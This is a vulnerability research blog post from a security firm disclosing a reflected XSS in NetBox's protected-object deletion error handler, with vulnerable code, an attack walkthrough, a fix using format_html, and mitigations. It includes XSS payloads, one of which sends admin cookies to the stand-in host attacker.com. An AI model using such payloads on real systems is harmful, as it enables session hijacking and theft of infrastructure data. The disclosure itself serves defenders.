Home
BlogContact Us
Back to Blog
Vulnerability Research

CVE-2025-69848: Reflected XSS in NetBox ProtectedError Handling

Alkım Coşkun - Netlore Security
10 min read

Summary

The Netlore Security research team identified a Reflected XSS vulnerability in NetBox, the widely-adopted open-source IPAM/DCIM platform used by thousands of organizations to manage network infrastructure. With over 19.7k GitHub stars and 386 contributors, NetBox serves a broad user base ranging from data centers to telecom operators.

The vulnerability resides in the handle_protectederror function within utilities/error_handlers.py. When a delete operation fails due to protected relationships, object names are injected into the HTML error message without any sanitization. This allows a low-privileged user to execute JavaScript in the context of an administrator's session.

FieldDetail
CVE IDCVE-2025-69848
CVSS 3.15.4 (Medium) — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
CWECWE-79: Improper Neutralization of Input During Web Page Generation
Affected VersionsNetBox 2.11.0 — 3.7.x
Affected Componentutilities/error_handlers.py
Discovered ByAlkim Coskun — Netlore Security

Technical Analysis

NetBox is a Python application built on the Django framework. Django's template engine auto-escapes all variables by default, providing a strong defense against XSS. However, when developers use mark_safe(), they signal to Django that a given string is trusted HTML and should not be escaped.

This is where things go wrong. Here is the vulnerable handle_protectederror function:

from django.utils.html import escape
from django.utils.safestring import mark_safe

def handle_protectederror(obj_list, request, e):
    protected_objects = list(e.protected_objects)
    protected_count = len(protected_objects) if len(protected_objects) <= 50 else 'More than 50'
    err_message = f"Unable to delete <strong>{', '.join(str(obj) for obj in obj_list)}</strong>. " \
                  f"{protected_count} dependent objects were found: "

    dependent_objects = []
    for dependent in protected_objects[:50]:
        if hasattr(dependent, 'get_absolute_url'):
            dependent_objects.append(
                f'<a href="{dependent.get_absolute_url()}">{escape(dependent)}</a>'
            )
        else:
            dependent_objects.append(str(dependent))
    err_message += ', '.join(dependent_objects)

    messages.error(request, mark_safe(err_message))

Notice the asymmetry: dependent objects are sanitized via escape(), but the primary objects in obj_list are converted to strings with str(obj) and placed directly inside HTML. The entire message is then wrapped with mark_safe(), completely bypassing Django's auto-escaping. Any HTML or JavaScript tags within the object name render as-is.

Attack Scenario

Exploitation follows these steps:

1. Create a malicious object: The attacker authenticates with a low-privilege account (sufficient to create objects) and sets the name field to an XSS payload:

<img src=x onerror=alert(document.cookie)>

This name could be applied to a site, device, or any other NetBox object.

2. Establish protected relationships: Dependent objects are attached to the malicious object (e.g., interfaces or cables on a device). Django's PROTECT mechanism prevents deletion of objects that have dependents.

3. Trigger the delete operation: When an administrator attempts to delete the object, Django raises a ProtectedError. NetBox catches it in handle_protectederror and embeds the unescaped object name into the error message.

4. XSS fires: The error message renders in the admin's browser, executing the JavaScript payload. The attacker now operates within the administrator's session context.

A more targeted payload for session hijacking:

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

Impact Assessment

NetBox is typically operated by network engineers and system administrators — high-privilege users by definition. Successful exploitation enables:

  • Session hijacking: Admin cookies exfiltrated to attacker-controlled infrastructure
  • Privilege escalation: Full control over the NetBox instance via stolen admin session
  • Data exfiltration: IPAM data (IP addresses, network topology, VLAN structures) can be extracted
  • Infrastructure tampering: Network configuration data can be modified, potentially causing operational disruptions

The CVSS score of 5.4 (Medium) reflects the requirement for user interaction (triggering the delete). However, given the role IPAM platforms play in critical infrastructure management, real-world impact may exceed what the score suggests.

Root Cause: The mark_safe() Anti-Pattern

This vulnerability is a textbook example of a common Django anti-pattern. mark_safe() gives developers flexibility to construct HTML content, but it places the burden of escaping every dynamic value on the developer.

The correct implementation should use format_html():

from django.utils.html import escape, format_html

err_message = format_html(
    "Unable to delete <strong>{}</strong>. {} dependent objects were found: ",
    ', '.join(str(obj) for obj in obj_list),
    protected_count
)

Django's format_html() uses the same syntax as str.format() but auto-escapes all arguments. This is far safer than manual string concatenation with mark_safe().

Recommendations

For NetBox users:

  • Upgrade NetBox beyond the 3.7.x release line
  • Restrict web interface access to trusted networks
  • Implement Content Security Policy (CSP) headers to limit script execution
  • Minimize object creation privileges to essential users only
  • Deploy WAF rules to block XSS payloads

For Django developers:

  • Minimize use of mark_safe() — prefer format_html() whenever possible
  • Always sanitize user-controlled values with escape() before embedding in HTML
  • Flag mark_safe() usage for mandatory security review during code review

Responsible Disclosure

This vulnerability was reported under Netlore Security's responsible disclosure policy. After discovery, the vendor was notified and CVE-2025-69848 was assigned.

At Netlore Security, we consider contributing to the security of open-source projects an important responsibility. Contact us to learn more about our security research and penetration testing services.

Tags:CVE-2025-69848NetBoxXSSReflected XSSDjangoZero-DayVulnerability ResearchIPAMCWE-79

Need Cybersecurity Consulting?

Our expert team provides comprehensive cybersecurity services to secure your corporate infrastructure. Contact us for detailed information about penetration testing, security audits, and consulting services.

Contact Us

Cookie Usage

We use cookies to improve your experience on our website. By continuing, you accept the use of cookies.

Cookie Policy